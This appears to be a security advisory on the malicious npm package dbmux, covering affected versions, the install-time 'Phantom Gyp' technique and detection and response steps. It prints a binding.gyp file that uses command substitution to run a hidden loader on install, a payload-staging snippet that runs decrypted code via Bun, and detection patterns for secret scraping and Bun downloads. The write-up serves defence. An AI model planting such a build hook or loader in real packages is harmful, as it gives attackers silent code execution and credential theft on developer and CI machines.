critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829, CWE-200, CWE-522

Affected Surface

dbmux npm package versions 1.0.5 and 2.2.5 explicitly listed in GHSA-62wx-5f55-w8g2, Public Miasma family tracking that also flags adjacent dbmux versions 1.0.6 and 2.2.4, Developer workstations and CI runners that executed npm install, pnpm install, or equivalent resolution against affected dbmux releases, Any environment exposing GitHub, npm, cloud, SSH, or CI credentials during package installation

The fresh dbmux malware disclosure from 9-10 June 2026 is worth covering not because the package name is famous, but because it shows the Miasma campaign has moved beyond large vendor namespaces and into ordinary standalone developer tooling. Public advisories classify dbmux as critical npm malware and connect it to the same Phantom Gyp install-time execution technique used in the June binding.gyp wave.

That matters because the package does not need an obvious preinstall or postinstall hook to execute. The attacker can keep package.json relatively boring while still turning a routine dependency installation into code execution on the developer workstation or CI runner.

Affected versions and why the version list looks inconsistent

The highest-confidence public version list comes from the GitHub malware advisory, which names:

  • dbmux@1.0.5
  • dbmux@2.2.5

Public family-level tracking from JFrog’s Miasma research expands that set and also flags:

  • dbmux@1.0.6
  • dbmux@2.2.4

The discrepancy is not surprising in a fast-moving malware incident. The GitHub advisory tracks the versions it explicitly published under GHSA-62wx-5f55-w8g2, while broader registry research can identify adjacent malicious versions in the same publish cluster before or after registries remove them. For defenders, the operational conclusion is simple: if you resolved dbmux anywhere in the 1.0.5 / 1.0.6 / 2.2.4 / 2.2.5 window, scope the host as compromised.

The important detail is the execution surface, not the package name

Public analysis ties dbmux to the Phantom Gyp branch of Miasma. The core trick is a tiny binding.gyp file that exploits npm’s native-addon workflow:

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

That one sources line is enough to produce the real execution chain:

npm install dbmux@<bad-version>
  -> npm notices binding.gyp
  -> node-gyp rebuild
  -> /bin/sh -c "node index.js > /dev/null 2>&1 && echo stub.c"
  -> root index.js loader executes
  -> secondary payload staging
  -> credential theft and follow-on propagation

This is what makes the June dbmux finding more relevant than “yet another malicious npm package.” It reinforces that package review focused only on lifecycle scripts is now insufficient. The install-time execution edge has moved into build metadata that many teams still treat as inert.

Phantom Gyp bypasses the package.json checks many teams still rely on

The recent Miasma wave exists precisely because a lot of supply-chain guardrails still center on questions like:

Does package.json contain preinstall?
Does package.json contain postinstall?
Did the lockfile pull a new binary dependency?

Those checks miss the binding.gyp path. npm sees a root-level binding.gyp, assumes the package may contain a native addon, and invokes node-gyp rebuild automatically. Once GYP command substitution is in play, the package can execute arbitrary shell commands without a visible lifecycle hook.

That makes the threat model for dbmux closer to:

build metadata compromise
  -> node-gyp shell expansion
  -> hidden loader execution
  -> Bun or alternate-runtime staging
  -> secrets collection
  -> publication/repository propagation

than to a naive “someone added postinstall” scenario.

The family behavior explains why dbmux must be treated as a full compromise

The public dbmux advisory by itself is intentionally terse: any machine that installed or ran the package should be considered fully compromised. The technical justification comes from the linked Miasma family reporting from StepSecurity and JFrog.

Those reports describe the same Phantom Gyp branch doing the following once installation-time execution is obtained:

  • downloading and running secondary payloads
  • using Bun as an alternate JavaScript runtime
  • collecting GitHub, npm, cloud, SSH, and CI material
  • scraping build-runner secrets from process memory
  • republishing malicious packages with stolen registry or CI credentials
  • planting repository or developer-tool backdoors for persistence and spread

A representative staging pattern from the family looks like:

const bunBootstrap = decrypt(...);
const mainPayload = decrypt(...);

const payloadPath = `/tmp/p${Math.random().toString(36).slice(2)}.js`;
fs.writeFileSync(payloadPath, mainPayload);

if (typeof Bun !== "undefined") {
  execSync(`bun run "${payloadPath}"`, { stdio: "inherit" });
} else {
  await eval(bunBootstrap);
  execSync(`"${getBunPath()}" run "${payloadPath}"`, { stdio: "inherit" });
}

I am being careful here not to overstate what is uniquely public for dbmux itself. The registry artifact is no longer conveniently available for direct inspection in this environment, so the exact payload bytes for each bad dbmux version are not reproduced below. But the combination of the malware advisory, public Miasma-family attribution, the named affected versions, and the install-time technique is already enough to support incident-response treatment as a full host compromise.

Why dbmux is strategically important

The package stands out for another reason: it is not a giant namespace with hundreds of downstream transitive users. It looks like a normal standalone CLI or utility package. That makes it a good example of why defenders cannot base triage priority only on package popularity.

For attackers, a package like dbmux can still be valuable because it is likely to be installed by:

  • developers with local source checkouts
  • build hosts with registry credentials
  • operators with database, cloud, or SSH access
  • CI jobs that already trust the dependency graph enough to run installs automatically

The trust boundary is the install itself, not the weekly download count.

Detection and scoping

Start with lockfiles, CI logs, and package-manager caches:

rg -n '"dbmux"' package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

If you find a match, scope the exact bad versions:

rg -n '"dbmux".*"1\.0\.5|1\.0\.6|2\.2\.4|2\.2\.5"' \
  package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

On hosts that may have executed the package, inspect installed artifacts for Phantom Gyp indicators:

rg -n '"<!\(node index\.js > /dev/null 2>&1 && echo stub\.c\)"' node_modules ~/.npm
rg -n 'createDecipheriv\("aes-128-gcm"|createDecipheriv\("aes-256-gcm"|/oven-sh/bun/releases/download/|node-gyp rebuild' node_modules ~/.npm

And review install-time telemetry for:

node-gyp rebuild on a package that should not ship native code
curl, unzip, or Bun downloads during npm install
unexpected git or GitHub CLI access in dependency-install jobs
reads of /proc/*/mem or similar secret-scraping behavior on CI runners

If your organization keeps repository audit logs, also hunt for the propagation side effects associated with the broader Miasma family: unexpected package publications, new repositories, workflow changes, or suspicious AI/developer-tool config files appearing after the install event.

Response guidance

Treat installation of an affected dbmux version as code execution on the installing host.

  1. Isolate the workstation or runner before beginning credential rotation.
  2. Preserve lockfiles, npm cache contents, CI logs, and network telemetry.
  3. Remove the affected package versions and rebuild from a clean lockfile in a clean environment.
  4. Rotate any GitHub, npm, cloud, SSH, Vault, Kubernetes, or CI credentials accessible from the host.
  5. Audit writable repositories and developer-tool config for persistence or propagation artifacts.

The main lesson from dbmux is not about this one package name. It is that in June 2026, npm package malware no longer needed to advertise itself through package.json scripts. If your package triage ignores binding.gyp, you are inspecting the wrong execution surface.

References